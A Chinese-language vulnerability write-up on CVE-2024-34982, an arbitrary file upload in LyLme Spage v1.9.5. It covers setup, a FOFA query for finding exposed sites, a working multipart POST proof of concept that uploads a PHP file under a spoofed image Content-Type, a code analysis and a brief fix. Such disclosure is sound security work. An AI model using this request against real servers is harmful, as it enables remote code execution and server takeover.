抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

0 x 01 漏洞描述

LyLme Spage 是一个开源的导航页面,致力于简洁高效无广告的上网导航和搜索入口,支持后台添加链接、自定义搜索引擎等功能。
该系统在 file. php 接口处存在任意文件上传漏洞,未经身份攻击者可通过该漏洞在服务器端任意执行代码、写入后门、获取服务器权限,进而控制整个 web 服务器。

漏洞影响范围:LyLme Spage v 1.9.5
漏洞编号:CVE-2024-34982
fofa 规则:body=”LyLme Spage”


0 x 02 环境搭建

PHP 版本:7.1.9(PHP 版本需 7.1 及以上,不支持 PHP 8)

  1. 前往 GitHub - LyLme/lylme_spage: 六零导航页下载最新版本源码压缩包,上传到网站根目录解压

  2. 访问http://域名/install

  3. 按提示配置数据库进行安装
    安装成功

  4. 后台地址:http://域名/admin

  5. 账号密码:admin/123456


0 x 03 漏洞复现

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /include/file.php HTTP/1.1
Host: lylme:8056
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8jtzH8vknAlAu8Do
Content-Length: 198


------WebKitFormBoundary8jtzH8vknAlAu8Do
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png

<?php phpinfo();?>
------WebKitFormBoundary8jtzH8vknAlAu8Do--


php 文件,上传为 PNG 格式,发包时修改文件后缀,修改为 php 文件。

访问给出的 URL 地址,可解析 php 文件


0 x 04 漏洞分析

  1. 定位漏洞文件
    • 漏洞文件,位于 /include/file. php
    • 也可以根据相应包的内容进行全局搜索。
  2. 文件验证漏洞点
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    function upload_img($upfile)
    {
    $IMG_NAME = uniqid("img_"); //文件名
    $maxsize = pow(1024, 2) * 5;
    //文件大小5M
    $dir = ROOT . SAVE_PATH . 'upload/';
    if (!is_dir($dir)) {
    mkdir($dir, 0755, true);
    //创建路径
    }
    $type = $upfile["type"];
    $size = $upfile["size"];
    $tmp_name = $upfile["tmp_name"];
    if (!validate_file_type($type)) {
    exit('{"code": "-4","msg":"上传的图片类型不支持"}');
    }
    $parts = explode('.', $upfile["name"]);
    $img_ext = "." . end($parts);
    if ($size > $maxsize) {
    exit('{"code": "-1","msg":"图片不能超过' . $maxsize / pow(1024, 2) . 'M"}');
    }
    $img_name = $IMG_NAME . $img_ext;
    //文件名
    $save_to = $dir . $img_name;
    $url = '/' . SAVE_PATH . 'upload/' . $img_name;
    if (move_uploaded_file($tmp_name, $dir . $img_name)) {
    echo('{"code": "200","msg":"上传成功","url":"' . $url . '"}');
    return $dir . $img_name;
    }
    }
    通过 validate_file_type() 函数对文件的类型进行判断。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    function validate_file_type($type)
    {
    switch ($type) {
    case 'jpeg':
    $type = 'image/jpeg';
    break;
    case 'jpg':
    $type = 'image/jpeg';
    break;
    case 'png':
    $type = 'image/png';
    break;
    case 'gif':
    $type = 'image/gif';
    break;
    case 'ico':
    $type = 'image/x-icon';
    break;
    }

    $allowed_types = array("image/jpeg", "image/png", "image/gif", "image/x-icon");
    return in_array($type, $allowed_types);
    }
    $_FILES["file"] 中获取数组中的 type 字段。然后与白名单数组中的内容进行对比。只要符合白名单中的,便可以顺利上传
    1
    2
    3
    4
    5
    6
    7
    8
    if (empty($_POST["url"]) && !empty($_FILES["file"])) {
    $filename = upload_img($_FILES["file"]);
    if (isset($islogin) == 1 && $_GET["crop"] == "no") {
    //不压缩图片
    exit();
    }
    //上传图片
    }
    由此可见,在判断类型时,它只对 Content-Type: image/png 部分进行了白名单的筛选。

0 x 05 POC 构造

由于只对 Content-Type: image/png 进行检测,所以修改 filename 即可,改为 php 文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /include/file.php HTTP/1.1
Host: lylme:8056
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8jtzH8vknAlAu8Do
Content-Length: 198


------WebKitFormBoundary8jtzH8vknAlAu8Do
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png

<?php phpinfo();?>
------WebKitFormBoundary8jtzH8vknAlAu8Do--


0 x 06 修复方案

对 filename,content 都进行检测

0 x 07 参考链接

CVE/Lylme_pagev1.9.5.md at main · n2ryx/CVE · GitHub

评论